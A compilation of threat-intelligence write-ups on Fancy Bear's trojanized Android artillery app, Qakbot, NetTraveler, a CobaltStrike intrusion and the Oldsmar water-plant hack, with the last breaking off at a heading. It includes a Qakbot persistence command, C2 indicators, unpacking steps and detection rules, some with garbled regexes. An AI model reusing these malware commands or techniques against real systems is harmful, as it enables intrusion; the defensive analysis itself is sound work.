We expect that in the coming weeks and months, APT threat actors will continue to leverage this crisis to craft phishing campaigns using social engineering techniques and other malicious tactics embedded into lure documents to compromise their targets. The Malwarebytes Threat Intelligence team is monitoring the threat landscape and paying particular attention to attacks trying to abuse the public’s fear of the COVID-19 crisis. Our business and consumer customers are protected from these attacks and more, thanks to our multi-layered detection engines. |
# Danger Close: Fancy Bear Tracking of Ukrainian Field Artillery Units
**Adam Meyers**
**12/21/2016**
Update – As of March 2017, the estimated losses of D-30 howitzer platform have been amended. According to an update provided by the International Institute for Strategic Studies (IISS) Research Associate for Defence and Military Analysis, Henry Boyd, their current assessment is as follows: “excluding the Naval Infantry battalion in the Crimea which was effectively captured wholesale, the Ukrainian Armed Forces lost between 15% and 20% of their pre-war D–30 inventory in combat operations.”
In June, CrowdStrike identified and attributed a series of targeted intrusions at the Democratic National Committee (DNC) and other political organizations that utilized a well-known implant commonly called X-Agent. X-Agent is a cross-platform remote access toolkit; variants have been identified for various Windows operating systems, Apple’s iOS, and likely the MacOS. Also known as Sofacy, X-Agent has been tracked by the security community for almost a decade. CrowdStrike associates the use of X-Agent with an actor we call FANCY BEAR. This actor to date is the exclusive operator of the malware and has continuously developed the platform for ongoing operations, which CrowdStrike assesses is likely tied to Russian Military Intelligence (GRU). The source code to this malware has not been observed in the public domain and appears to have been developed uniquely by FANCY BEAR.
Late in the summer of 2016, CrowdStrike Intelligence analysts began investigating a curious Android Package (APK) named ‘Попр-Д30.apk’ (MD5: 6f7523d3019fa190499f327211e01fcb) which contained a number of Russian language artifacts that were military in nature. Initial research identified that the filename suggested a relationship to the D-30 122mm towed howitzer, an artillery weapon first manufactured in the Soviet Union in the 1960s but still in use today. In-depth reverse engineering revealed the APK contained an Android variant of X-Agent; the command and control protocol was closely linked to observed Windows variants of X-Agent and utilized a cryptographic algorithm called RC4 with a very similar 50-byte base key.
The filename ‘Попр-Д30.apk’ was linked to a legitimate application which was initially developed domestically within Ukraine by an officer of the 55th Artillery Brigade named Yaroslav Sherstuk. In media interviews, Mr. Sherstuk claims that the application, which had some 9000 users, reduced the time to fire the D-30 from minutes to seconds. No evidence of the application has been observed on the Android app store, making it unlikely that the app was distributed via that platform.
Today, CrowdStrike is releasing publicly an intelligence report which was circulated to CrowdStrike Falcon Intelligence customers detailing the use of the trojanized ‘Попр-Д30.apk’ application by the Ukrainian military and the deadly repercussions inflicted on that platform by Russian forces. The key points of this report are:
- From late 2014 and through 2016, FANCY BEAR X-Agent implant was covertly distributed on Ukrainian military forums within a legitimate Android application developed by Ukrainian artillery officer Yaroslav Sherstuk.
- The original application enabled artillery forces to more rapidly process targeting data for the Soviet-era D-30 Howitzer employed by Ukrainian artillery forces, reducing targeting time from minutes to under 15 seconds.
- According to Sherstuk’s interviews with the press, over 9000 artillery personnel have been using the application in the Ukrainian military.
- Successful deployment of the FANCY BEAR malware within this application may have facilitated reconnaissance against Ukrainian troops. The ability of this malware to retrieve communications and gross locational data from an infected device makes it an attractive way to identify the general location of Ukrainian artillery forces and engage them.
- Open source reporting indicates that Ukrainian artillery forces have lost over 50% of their weapons in the 2 years of conflict and over 80% of D-30 howitzers, the highest percentage of loss of any other artillery pieces in Ukraine’s arsenal.
- This previously unseen variant of X-Agent represents FANCY BEAR’s expansion in mobile malware development from iOS-capable implants to Android devices and reveals one more component of the broad spectrum approach to cyber operations taken by Russia-based actors in the war in Ukraine.
- The collection of such tactical artillery force positioning intelligence by FANCY BEAR further supports CrowdStrike’s previous assessments that FANCY BEAR is likely affiliated with the Russian military intelligence (GRU) and works closely with Russian military forces operating in Eastern Ukraine and its border regions in Russia.
The following Snort rule matches on the X-Agent-Android C2 beacon request:
```
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (\
msg: “CrowdStrike FANCY BEAR X-Agent Android C2 Request”; \
flow: established,to_server; \
content: “lm=”; http_uri; \
pcre: “/^\/(watch|search|find|results|open|close)\/\?/U”; \
pcre: “/[\?\&](text|from|ags|oe|aq|btnG|oprnd)=/U”; \
classtype: trojan-activity; metadata: service http; \
sid: XXXX; rev: 20160815;)
```
Join Dmitri Alperovitch and me live on January 4, 2017, at 2pm EST for Bear Hunting: History and Attribution of Russian Intelligence Operations to learn more about FANCY BEAR and linkages to the GRU.
As Vice President of Intelligence, Adam Meyers oversees all intelligence gathering and cyber adversary monitoring for CrowdStrike, the leader in cloud-delivered endpoint protection, threat intelligence, and response services. Falcon Intelligence is part of the CrowdStrike Falcon Platform, which helps organizations stop cyber breaches. At CrowdStrike, the value of threat intelligence lies in its ability to proactively protect your environment from attacks through a deep understanding of the adversary and what it takes to stop them. |
# Threat Spotlight: The Return of Qakbot Malware
**The BlackBerry Cylance Threat Research Team**
## Introduction
The Cylance Threat Guidance team continuously looks for interesting trends and challenges that incite organizations to engage with us. Recently, an influx of thousands of Qakbot (aka Qbot) infections has brought people to us to discuss how to block this malware from gaining access to corporate systems.
Qakbot has been around for years, but it’s nothing to be complacent about. This malware is well-known for its ability to steal credentials and quickly spread through an enterprise over network shares. Given its age, it might seem logical that security controls would have this threat on lockdown. However, the occasional functional enhancements combined with its multiple layers of obfuscation and server-side polymorphism periodically breathe new life into this seemingly immortal malware.
While it’s unclear why so many systems have suddenly fallen victim to Qakbot, it’s possible that updated exploit kits play a role. After all, there is no shortage of new vulnerabilities and exploits for attackers to use to their advantage.
Since the core functionality of Qakbot has remained fairly consistent over the years and is well documented, we will not rehash that information here. Instead, we’ll evaluate several samples from the recent surge in infections and explore how to correlate unique binaries.
## Collecting Qakbot
As highlighted at the beginning of this article, the polymorphic nature of this threat is of great interest given its goal of evading detection. Prior versions of Qakbot configured a scheduled task to request updates, and the recent wave of infections was no different. For example, we observed a sample that configured the following command to run on a weekly basis:
```
cmd.exe /C "start /MIN C:\windows\system32\cscript.exe //E:javascript "C:\Users\<USER>\AppData\Local\Microsoft\<5-8 random alphabetical characters>.wpl""
```
As described in the command line, the WPL file contains JavaScript. Just in case the cryptic code isn’t convincing enough, the header of the target file makes it all too clear the JavaScript is obfuscated.
Brief behavioral analysis revealed the code reaches out to the following URLs:
- hxxp://css.kbaf.myzen.co(dot)uk/TealeafTarget.php
- hxxp://projects.montgomerytech(dot)com/TealeafTarget.php
- hxxp://n.abcwd0.seed.fastsecureservers(dot)com/TealeafTarget.php
Like earlier versions of Qakbot, a request to these update servers returns an encrypted payload, where the first 20 bytes serve as the RC4 key to decrypt the data. Once decrypted, the first 20 bytes represent a SHA1 hash of the executable, and the remaining bytes are the file contents.
To mimic Qakbot’s update process in a controlled manner, we created a Python script to send HTTP requests to each of the three URLs over a 24-hour period. At the time of this writing, requests for the first listed URL returned an HTTP 404 Not Found error, but requests for the remaining two URLs returned the expected payload.
The script was executed from both a Windows 10 64-bit and Windows 10 32-bit OS for more than 24 hours from 5/16/17 to 5/17/17, and the scripts were running simultaneously across both operating systems during much of that time.
Although the script was configured to send HTTP requests to each of the two working URLs every 30 seconds, most requests resulted in pulling the same binary. In other words, the update server did not provide a new file with each request. Files with a unique hash were only supplied approximately every 10 minutes. In total, we collected 245 files across the two machines. However, because the servers supplied the same file to each machine at a given time, the resulting unique set of files was much smaller, totaling 141 files.
## Reviewing the Collection
All 141 downloaded files were 32-bit Windows executables. Searching public repositories for these files revealed that only one had been previously logged, and that was within the previous 12 hours.
Across the 141 files, all have unique compile timestamps, and the earliest one occurred on May 15, 2017. While all 141 files have unique sha-256 file hashes, there are some similarities to consider. First, calculating the import hashes across the files showed three distinct groups:
- 2E6AC2290F1E3D80ABC8D0D6F736D965
- 651EF2DBA96011F47EED9B72BE7B4B8C
- F3CAA54DDE4056FADD52A024CF6B82ED
Although import hashes are often used to correlate malware over long periods of time, the earliest compile timestamp we discovered for a file with any of the above import hashes was 5/15/17. Given the polymorphic capabilities of this threat, this observation is not surprising.
Let’s briefly take a look at two files that have the same import hash (2E6AC2290F1E3D80ABC8D0D6F736D965) but different file hashes:
- 7DBD0DF279062090C34F796EFC7DD239ECCD46B99B67AAC370D6048D5ADBB9EC
- 67F3BD674647CA0D294A894B6702362B6CFC4B6C2E147643E100903A6B4D715A
Both files are 458,752 bytes, and they consist of the following PE sections:
- .text
- .code
- .rdata
- .data
- .CRT
- .exp
- .code (yes, again)
- .rsc
- .reloc
Among these, all section hashes match except those for .text, .rdata, and .data. A different .text section may indicate a change in executable code. To investigate this observation, we can use diaphora, a binary diffing tool compatible with IDA Pro. Performing a code comparison presents the following results.
Diaphora concludes all 27 identified functions are a 100% match. While we could investigate individual variations across the three PE sections mentioned earlier, it makes more sense to unravel any layers of obfuscation and compare the underlying code.
## Unpacking Qakbot
To unpack recent Qakbot samples, the below approach worked reliably. All instructions assume use of x32dbg, but similar steps can be performed with a debugger of your choice.
1. Load the sample into x32dbg (we’ll be working with the file that has sha-256 hash 7DBD0DF279062090C34F796EFC7DD239ECCD46B99B67AAC370D6048D5ADBB9EC).
2. Set a breakpoint on VirtualProtect.
3. Execute the code. On the first call to VirtualProtect, the protection on all sections owned by the process will be modified to 0x04, or PAGE_READWRITE.
4. As the code executes, those sections in memory will be manually overwritten using loops. Let the breakpoint hit two more times, and on the second hit notice that protection on the .text section is changed to 0x20, or PAGE_EXECUTE_READ.
5. Allow the call to complete and return back to user code so that the permissions change takes effect.
6. Next, browse to the Memory Map and choose to disassemble the .text section.
7. Once there, set a “Hardware on Execution” breakpoint to catch when this new code is executed.
8. Run the code until the hardware breakpoint is triggered. You can then dump the process using a plugin like OllyDumpEx and fix the import table using Scylla.
## Correlating Qakbot
Following the above process for both files produced two process dumps of the same size (418,304 bytes) and different file hashes. Turning again to diaphora revealed that most of the 227 functions identified matched 100%. Only nine functions did not match 100%. A review of these nine functions showed that each referenced the file name and/or location of the file on disk. Since each file tested did indeed have a different filename and location, we can explain this discrepancy. Therefore, despite variations in the sections across the code, the resulting unpacked binary contains identical functionality.
To further explore correlation between deobfuscated samples, we can apply the same unpacking process to a sample with a different import hash. For example, the file with hash 8891524E468BE1BD44723385C9238017090B536F922CCC007D8AC47C66802E3C is 450,560 bytes and has the import hash 651EF2DBA96011F47EED9B72BE7B4B8C. It is 8,192 bytes smaller than the previous two files and has only six sections (no section hashes match when compared to previous samples):
- .text
- .code
- .rdata
- .data
- .rsrc
- .reloc
The unpacking approach outlined above results in another dumped 418,304 byte file with a different file hash. However, a code diff confirms that most of the 227 identified functions match 100%, and the nine functions that do not only differ by the filename and path, as described earlier.
## Conclusion
Qakbot continues to be a significant threat due to its credential collection capabilities and polymorphic features. Unhindered, this malware family can rapidly propagate through network shares and create an enterprise-wide incident. In this post, we explored how to dissect, unpack, and compare multiple downloaded samples.
If you use our endpoint protection product CylancePROTECT®, you were already protected from this attack. If you don't have CylancePROTECT, contact us to learn how our AI-driven solution can predict and prevent unknown and emerging threats.
## Indicators of Compromise (IoCs)
**Sha-256 Hashes:**
- 7DBD0DF279062090C34F796EFC7DD239ECCD46B99B67AAC370D6048D5ADBB9EC
- 67F3BD674647CA0D294A894B6702362B6CFC4B6C2E147643E100903A6B4D715A
- 8891524E468BE1BD44723385C9238017090B536F922CCC007D8AC47C66802E3C
**URLs:**
- hxxp://css.kbaf.myzen.co(dot)uk/TealeafTarget.php
- hxxp://projects.montgomerytech(dot)com/TealeafTarget.php
- hxxp://n.abcwd0.seed.fastsecureservers(dot)com/TealeafTarget.php
**The BlackBerry Cylance Threat Research Team** |
# The Net Traveler
## Executive Summary
This report describes multiple cyber-espionage campaigns that have successfully compromised more than 350 high-profile victims in 40 countries. The focus of the paper is to describe Net Traveler, which is the main tool used by the threat actors during these attacks. The name “Net Traveler” comes from an internal string present in early versions of the servers, observed how the attackers deployed different backdoors to the victims’ machines. This malware is used by APT actors for basic surveillance of their victims. The earliest known samples have a timestamp of 2005, although references exist indicating activity as early as 2004. The largest number of samples observed were created between 2010 and 2013.
Known targets of Net Traveler (also known as ‘Travnet’ or “Net file”) include Tibetan/Uighur activists, oil industry companies, scientific research centers and institutes, universities, private companies, governments and governmental institutions, embassies, and military contractors. We have calculated the amount of stolen data stored on C&C servers to be 22+ gigabytes. However, this data represents only a small fraction of what we managed to see - the rest had been previously downloaded and deleted from the C&C servers by the attackers.
## Attack Analysis
Net Traveler victims get infected through spear-phishing attacks using Office documents which exploit two publicly known vulnerabilities -- CVE-2012-0158 and CVE-2010-3333. Although these vulnerabilities have been patched by Microsoft, they remain effective and are among the most exploited in targeted attacks. During our analysis, we did not see any advanced use of zero-day vulnerabilities or other malware techniques such as rootkits. It is therefore surprising to observe that such unsophisticated attacks can still be successful with high-profile targets.
### Point of Entry: Spear-Phishing Examples
We are listing below several Net Traveler spear-phishing examples observed during the course of this investigation.
- **MD5:** 29a420e52b56bfadf9f0701318524bef
- **Create Date (GMT):** 2011-04-27 10:10:00
- **Size:** 274,291
- **Vulnerability Targeted:** CVE-2010-3333
This spear-phishing targeted CVE-2010-3333, a very popular vulnerability exploited in many attacks. The development of this version of the exploit delivers a large, easily identified “0x4141” no P sled prior to its shellcode, shedding some light on the immaturity of the development behind the effort. More interesting is the accompanying benign and empty decoy Word document dropped to the temp folder and opened with Word as “Jallianwala Bagh massacre a deeply shameful act.doc”.
### Installed Malware Functionality
Net Traveler is an automatic data exfiltration tool, designed to extract large amounts of private information from the victim’s system over long periods of time. The malware uses compression techniques and a fail-safe protocol to ensure that uploaded data is safely transferred to the attacker’s C2 servers. By default, Net Traveler exfiltrates common file types such as .doc, .xls, .ppt, .rtf, and .pdf. The backdoor configuration can, however, be extended with special options to steal other file types.
### Exfiltrated Data
Exfiltrated data is encoded with a custom compression and encoding library, which produces files that resemble Base64. The data is transferred to the command and control servers via HTTP requests.
## Global Infection Statistics
During our analysis, we obtained infection logs from several command and control servers. The logs, which go back as far as 2009, show that the threat actors behind Net Traveler successfully infected more than 350 victims in 40 countries. The following map shows the locations and profile of the victims.
The following map lists the victim profiles by industries:
- Diplomatic 32%
- Press 1%
- IT 3%
- Financial 3%
- Health 2%
- Activism 3%
- Research 4%
- Airspace 6%
- Government 19%
- Military 9%
- Private 11%
- Industrial and Infrastructure 7%
Note: The chart does not include the victims that couldn’t be identified.
## Mitigation Information
From the point of view of the victims, the most important part of any report is information on how to detect and eradicate the infections. In addition to running a modern security suite capable of detecting Net Traveler, things such as filenames or C2 IPs can be extremely useful to system administrators.
This part of the report includes:
- Indicators of compromise
- Kaspersky detection names
- MD5s of known samples
### Indicators of Compromise
- 213.156.6.122 - C2 (cultureacess.com)
- 209.130.115.38 - C2 (tsgoogoo.net)
- 98.143.145.80 - C2 (spit113.minidns.net)
- 96.46.4.237 - C2 (sghrhd.190.20081.in)
- 109.169.86.178 - C2 (imapupdate.com)
- 125.67.89.156 - C2 (faceboak.net)
- 142.4.96.6 - C2 (buynewes.com)
- 124.115.21.209 - C2 IP
- 67.198.140.148 - C2 (southstock.net)
- 96.44.179.26 - C2 (vip222idc.s169.288idc.com)
- 235.22.123.90 - C2 (gami1.com)
- 178.77.45.32 - C2 (ra1nru.com)
## Conclusions
During our analysis, we describe Net Traveler, a malicious data exfiltration tool used by a medium-sized threat actor group from China. The main targets of the group include government institutions, embassies, oil and gas industry, research institutes, universities, private companies, military contractors, and activists. The group’s domains of interest include space exploration, nanotechnology, energy production, nuclear power, lasers, medicine, and communications among others.
Although not very advanced, the Net Traveler attackers have successfully compromised hundreds of targets around the world, with the highest number in Mongolia, India, and Russia. The group using Net Traveler is also employing other malware, including Zegost, Saker, and others. To compromise their victims, they rely on exploits for two popular vulnerabilities in Microsoft Office.
Based on collected intelligence, we estimate the group size to be about 50 individuals, most of whom speak Chinese natively and have knowledge of the English language. |
# The Anatomy of an APT Attack and CobaltStrike Beacon’s Encoded Configuration
Gal Kristal
Even in these uncertain times, state-sponsored groups continue their hacking attempts and we must stay vigilant at all times. We recently investigated such a state-sponsored attack on a SentinelOne customer, one of the leaders in their field of business.
In light of the Coronavirus lockdowns and subsequent understaffing at many businesses, we were contacted by the customer to help investigate an intrusion that was discovered in their network by threat alerts in their SentinelOne Console. We were contacted shortly after the malicious activity was discovered and asked to find the attackers’ persistence methods as well as to ensure full remediation. In this post, we’ll describe the procedure of how we did that by using SentinelOne features as well as other tools and methods we developed along the way.
## Key Points
1. **Progression**: The attack propagated initially through the company’s VPN to an inner Windows server, and then on to the Domain Controller and afterward to servers containing the sought-after data.
2. **Toolkit**: The attackers used a CobaltStrike beacon with a then-unknown persistence method using DLL hijacking. Other than that, the group relied solely on LOLBins and mostly fileless methods for local execution and lateral movement.
3. **Hunting**: Beacon configuration parsing tool and related SentinelOneQL hunting queries.
## Entry Point
We learned from the customer that the same actor had accessed the company in August 2019 via their Citrix server. Even though the customer has had multiple credential rotations since, implemented haveibeenpwned password lookups and aligned with NIST 800-63B, our assessment was that the actor had used intelligence gained from stolen credentials in their previous access to connect to the company’s VPN service.
The attackers connected to the company’s VPN through a public PureVPN node. This hides their real IP address in the VPN’s logs and makes attribution more difficult.
## Lateral Movement
At the beginning of our investigation, we reviewed the threats marked by the SentinelOne Agent in the Console. One of the Attack Storylines looked like this:
From this, we could see how the attackers achieved lateral movement and what code they ran: a one-line PowerShell payload that we identified as a CobaltStrike Beacon stager. It’s easy to see from the Attack Storyline that after the beacon was up and running, they first ran `quser` to verify they’re running as SYSTEM and then migrated themselves into `explorer.exe` for masquerading as a benign process.
From `explorer.exe`, they ran multiple recon commands (the IPs in this post were changed for privacy). We can tell that at least some of the commands aren’t part of an automated recon script by their occasional typo; for example, these commands were run one after the other. By looking at that explorer’s DNS requests and PowerShell HTTP requests we were able to obtain their C2 domains. To verify these domains we base64-decoded the Beacon’s PowerShell stager and analyzed that shellcode using the great scdbg tool.
One of their first actions in the network was to dump credentials via copying the NTDS. To do so, using the Beacon they connected to the Domain Controller’s C$ share and uploaded `update.bat`, and to run it they created a remote scheduled task. But instead of running the task on demand, it was timed so it would run shortly after. The batch file contained the commands to dump the NTDS (and other registry files needed to parse it) and delete the scheduled task.
To exfiltrate the NTDS the attackers used `rar.exe` that was already present on the system (validating the target has WinRAR installed first). In our searches, the usage of WinRAR’s CLI tool with password encryption was found to be pretty indicative of malicious actions. By taking the NTDS from the network the attackers can freely move laterally as any user using pass-the-hash or golden/silver tickets.
## Remedial actions taken at this point:
1. Changing credentials across the domain
2. Replacing the VPN product with one supporting MFA
3. Initiating a full rollback to all reported threats in the SentinelOne console
4. Restarting infected systems
## Persistence
Soon after these actions, we saw in the SentinelOne Console that after a user logs in to the infected systems the beacon starts signalling again. Not surprisingly, the adversary had used some kind of persistence here.
We found an interesting file drop they had made very early in this operation – a DLL file to `C:\Windows\wlanapi.dll` that was uploaded remotely to several systems. The dropped DLL contains an encoded Beacon payload and a custom-made unpacker. It masquerades by name to a legitimate `wlanapi.dll`, which is part of the Wireless LAN service (`wlansvc`) responsible for exporting functions for tasks such as listing nearby wireless networks and connecting to them. In our research, we found that this file does not always exist by default and is probably downloaded automatically by the OS when there is a wireless adapter.
This DLL is loaded by `explorer.exe` when a user logs in. This is how the exports of the normal `wlanapi.dll` look:
But the dropped DLL has no exports, and the `DllMain` looks like this: The `beacon_init` is a simple function that decodes the Beacon payload and runs it in a new thread. It starts with a check of whether it’s running in `svchost.exe`, but then totally ignores that check.
As pseudocode: It then creates a mutex named `GlobalexampleMutex`. It builds the mutex name using a float for the first 16 chars and an int for the remaining three characters. This means the string "GlobalexampleMutex" won’t be found in a string search on this binary, only "GlobalexampleMu". Then it copies the encoded Beacon buffer to newly allocated memory, from where it XORs it using a hardcoded 10-byte key.
We dumped to file the decoded Beacon from memory and parsed it using a script we wrote to extract the Beacon’s configuration.
## Beacon Configuration Parsing
During our investigation, we wanted to make sure we had extracted every bit of information from the memory dumps we had and the persistence we found so we can use that data to search for the same actor across all our customers and in VirusTotal. To this end, we wrote a Python script that parses CobaltStrike Beacon configuration from a PE file or a memory dump. The Beacon’s configuration is usually XOR-encoded using a single hardcoded byte, which is 0x69 in Beacon version 3 and 0x2e in Beacon version 4, and is in a TLV (Type-length-value) format.
In our searches, we found good scripts (thanks JPCERT and CAPE!), but they lacked support for Beacon version 4 and didn’t parse every field there is in the configuration, so we chose to rewrite and improve them. The script is available here and its usage is simple.
Parsing the Beacon encoded inside the `wlanapi.dll` gives this (cleaned a bit for brevity):
Using this information it’s possible to create Yara rules that match the exact configuration of the Beacon you want. Let’s say you want to find Beacons version 3 with `Host: officeasiaupdate.appspot.com` as header parameter and a combination of parameters `DNS_Idle=0.0.0.0` and `SleepTime=3000`:
Then in a Yara rule:
## IOCs
- **MD5**: 87E00060C8AB33E876BC553C320B37D4
- **SHA1**: BDF9679524C78E49DD3FFDF9C5D2DC8980A58090
- **Description**: wlanapi.dll (Persistence)
### MC2 Domains and DNS queries
- eustylejssync.appspot[.]com
- *.asiasyncdb[.]com
- officeasiaupdate.appspot[.]com (as HOST header)
### Yara Rules
```yara
rule custom_packer {
meta:
description = "Detects the beginning of the actors packer"
strings:
$b1 = {C7 44 24 38 53 56 43 48}
$b2 = {C7 44 24 3C 4F 53 54 2E}
$b3 = "exampleMu"
condition:
(uint16(0) == 0x5a4d) and all of ($b*)
}
```
### Related Queries for Hunting with SentinelOneQL
Here are some queries that can be used in the ‘Visibility’ page in the SentinelOne Console. These queries can help find some of the actions that were described above but as for any hunting query – they might need fine-tuning for some environments.
**Suspicious Folders in Use**
- Unsigned DLL being dropped straight into windows, system32 or syswow64 folders:
```
EventType in ("File Modification", "File Creation", "File Deletion", "File Rename") AND FileType ContainsCIS "dll" AND FileFullName ContainsCIS "windows" AND (
(SignedStatus = "signed" AND VerifiedStatus != "verified") OR SignedStatus != "signed") AND (FileFullName RegExp "windows[^]+$" OR FileFullName RegExp "windowssys(tem32|wow64)[^]+$")
```
- DLL being moved into windows, system32 or syswow64 folders:
```
EventType = "File Rename" AND FileType ContainsCIS "dll" AND FileFullName ContainsCIS "windows" AND (FileFullName RegExp "windows[^]+$" OR FileFullName RegExp "windowssys(tem32|wow64)[^]+$")
```
- Suspicious BAT / CMD files being dropped into temp folder:
```
EventType IN ("File Modification", "File Creation", "File Deletion", "File Rename") AND FileFullName ContainsCIS "windowstemp" AND (FileFullName EndsWithCIS ".bat" OR FileFullName EndsWithCIS ".cmd") AND FileFullName RegExp "windowstemp[^{}]+$"
```
**Suspicious Processes / Command Lines in Use**
- Using too many cmd /c with RCE Living off the land binaries:
```
ProcessCmd ContainsCIS "cmd" AND ProcessCmd ContainsCIS "/c" AND ProcessCmd RegExp "cmd.*s/cs.*cmd.*s/cs" AND ProcessCmd RegExp "s(at|sc|schtasks|wmic)"
```
- Rar with password or with a specific compression level (our research suggests it’s rare to see it used legitimately with the RAR CLI tool):
```
(ProcessCmd ContainsCIS "-hp" AND ProcessCmd RegExp "sas.*s-hp[^s]+s") OR (ProcessCmd ContainsCIS "-m" AND ProcessCmd RegExp "sas.*s-m[0-5]s")
```
- Executing scheduled task once on a specific time:
```
ProcessCmd ContainsCIS "/sc" AND ProcessCmd RegExp "(-|/)sc" AND ProcessCmd RegExp "(-|/)st" AND ProcessCmd RegExp "once" AND ProcessCmd RegExp "(-|/)tn" AND ProcessCmd RegExp "(-|/)tr"
```
**Suspicious Behavioral Indicators**
- Loading a wlanapi.dll or wlanhlp.dll that was dropped from a different process:
```
IndicatorName = "LoadUnreleatedLibrary" AND IndicatorMetadata ContainsCIS "wlanapi.dll" OR IndicatorMetadata ContainsCIS "wlanhlp.dll"
```
In this case, the Unknown file is referenced to lateral movements groups:
```
IndicatorName = "LoadUnreleatedLibrary" AND ProcessName = "Unknown file"
``` |
# Visibility, Monitoring, and Critical Infrastructure Security
## Introduction
On 08 February 2021, officials from Pinellas County, Florida announced an unknown entity accessed water treatment operations for the city of Oldsmar. In addition to technical analysis based upon limited details, multiple media outlets responded to the incident with immediate reporting lacking significant additional details. At this time, while the general nature of this incident is somewhat known, many questions remain, especially concerning what entity was responsible for the incident and what their precise intentions were in attempting to modify water treatment operations.
While further investigation is warranted, available details allow us to reach some preliminary conclusions on the incident itself and its likely implications. Furthermore, based on what we know with respect to this event and past Industrial Control System (ICS) intrusions, we can formulate an understanding of this incident’s maturity. Finally, the event in Oldsmar provides sufficient information to provide defensive guidance to detect, mitigate, or prevent similar scenarios in the future.
## Overview of the Oldsmar Incident
On 05 February 2021, operators at the municipal water treatment facility serving the small city of Oldsmar, Florida noticed strange activity on the systems used to monitor and control operations at the plant. Initial reporting from Reuters indicated the facility used TeamViewer remote access software for remote monitoring and management, which was subsequently confirmed in follow-on reporting and interviews conducted by Wired. While plant operators have since removed the software, at the time an unknown entity identified the TeamViewer instance and managed to authenticate to the system.
Identification of critical infrastructure systems exposed to the internet is hardly a new phenomenon. As previously documented by Kim Zetter in several articles from the early 2010s, various tools exist that enable researchers (or less scrupulous entities) to search for and identify ICS devices or similar equipment. Prior to the Oldsmar incident, researchers identified several instances of likely malicious entities remotely accessing control system equipment in the water sector, with the following standing out as most interesting:
- **2013**: Intruders, assessed to be linked to Iranian entities, accessed control systems for the small Bowman Avenue Dam. Although a relatively minor structure and resulting in no disruptive consequences, analysts theorize the intruders may have intended to target the much larger Arthur R. Bowman Dam in Oregon, instead.
- **2016**: In its annual data breach report, Verizon reported several water utilities—combined into the single, pseudonymous organization “Kemuri Water”—experienced breaches of varying severity. In a few instances, the unknown intruders appear to have manipulated water treatment controls in a haphazard way, causing operational disruption but no harm or destruction.
- **2018**: An unknown entity utilized VPNFilter malware to attempt an unspecified attack on a chlorine production plant in Ukraine. Although not directly targeting water treatment operations, the incident would have significantly impacted the sector had a disruption occurred at the targeted site.
- **2020**: Unknown entities, although tentatively linked to Iranian interests, accessed and performed minor modifications to multiple water pumping and treatment devices in Israel in April and July 2020. Based on analysis of available information, affected devices were externally accessible with minimal or no authentication preventing the intruder from accessing control systems. While there is some speculation that this event may be linked to the Oldsmar incident, no evidence exists connecting the two and all similarities appear circumstantial.
In all of the above cases, external access to control systems resulted in either no or very limited disruption to physical operations. While the same is roughly true of the Oldsmar incident in terms of ultimate impact, the unknown intruder’s actions in the environment are concerning. Specifically, the entity utilized remote access to ICS equipment to manipulate sodium hydroxide levels in the treatment plant. While normal operations run at 100 Parts Per Million (PPM) of sodium hydroxide in the treatment environment, the unknown intruder attempted to increase the amount to 11,100 PPM.
While attempting to make the above alteration, personnel monitoring the equipment, likely a Human Machine Interface (HMI) in the plant environment, noticed the action and reversed it. Had the action not been caught in progress during standard working hours, officials indicate it would take 24-36 hours for the change to be reflected downstream among the population served by the district, and that automated testing and similar safeguards would have detected the physical process change.
Based on all available evidence and statements from local authorities, the intrusion and manipulations to the ICS environment were prevented through operator attentiveness and interaction, with further engineering controls providing additional layers of safety. Although the incident resulted in neither significant disruption nor outright damage, the simple fact that some unknown entity attempted the above action is deeply concerning—reflecting either callousness given the potential harm, or ignorance as to what the attempted change might have produced in the serviced population.
## Process Visibility and Intruder Maturity
Although deeply concerning, the intrusion (if not “attack”) scenario described above shows multiple immaturities. Particularly:
1. Events took place during normal operational hours where personnel were on-hand and available to quickly respond.
2. The intruder did not attempt to hide or mask their activity through interaction with or overwrite of HMI systems or spoofing of sensor data.
3. The modification to sodium hydroxide levels was so extreme as to almost certainly trigger engineering or other non-ICS controls or alarms within the environment.
These three factors, taken together, indicate an attack that was either immature, rushed, or potentially unintentional following access to the controlling HMI. To better understand how these items function, especially in light of a potential integrity-targeting ICS incident, a quick review of historical ICS incidents is helpful.
### Stuxnet Incident
Although well-documented, especially through resources such as Kim Zetter’s *Countdown to Zero Day* and Symantec’s *Stuxnet Dossier*, certain elements of Stuxnet are frequently misunderstood or overlooked in general discussion. While reviewed in other sources in depth, the critical item enabling Stuxnet’s success was the malware’s ability to induce a general loss or denial of view condition in the victim environment. In this specific case, the malware recorded “normal” plant operations then played these recordings back to monitoring systems during physical attack sequences to mask events from plant operators. Absent this critical step, operators would have been able to detect anomalous operations in the plant environment enabling intervention and process diagnosis.
### 2015 Ukraine Power Event
In 2015, entities linked to Russian military intelligence (GRU) penetrated multiple electric distribution centers in Ukraine. In a coordinated operation in late December of that year, the attackers disrupted distribution operations inducing blackout conditions through a combination of rogue control devices and logging on to user workstations to disconnect equipment. Yet for such operations to succeed, personnel had to be locked out of their workstations to prevent operator intervention during the initial phases of the attack. Subsequent activity in the victim environment resulted in the use of wiper malware to remove remote operational control, followed by a malicious firmware update to serial-to-ethernet converters which made communication to equipment impossible. Overall, these steps amount to a coordinated effort to induce a loss or denial of control condition that enabled a sustained, widespread impact to Ukrainian electric utility operations.
### 2016 Ukraine Industroyer/CRASHOVERRIDE Incident
In 2016, Ukraine again witnessed an electric power incident in December linked to Russia’s intelligence services, this time targeting a single transmission substation. Referred to as the Industroyer or CRASHOVERRIDE event, the incident again wiped control systems to induce loss of control—but also likely aimed at a loss of view condition as well to enable a potentially destructive (if failed) physical damage scenario. In this particular case, removing operator logical control (to force manual operations) combined with loss of logical view into the health and status of the system was used in sequence to enable a process protection-focused attack scenario. Absent these conditions, it would be highly unlikely for the sequence of events required to restore operations in an unprotected, unsafe state (enabling possible destruction) would materialize.
### 2017 TRITON/TRISIS Event
In 2017, a petrochemical plant in Saudi Arabia experienced multiple unexpected plant shutdowns due to the plant’s Safety Instrumented Systems (SIS) tripping for then-unknown reasons. Subsequent investigation identified a purpose-built malware variant, referred to as TRITON or TRISIS, as responsible for the disruption. Further investigation and analysis indicated that rather than a direct attack on plant safety equipment, the malware’s purpose was to enable undetected, arbitrary modification of SIS parameters. Combined with access elsewhere in the plant environment, an attacker could remove or alter safety controls to induce physical damage. Yet to succeed, the attacker needed to ensure not only access to modify safety parameters, but also the ability to alter such parameters without operators knowing such changes took place.
## Implications for Oldsmar
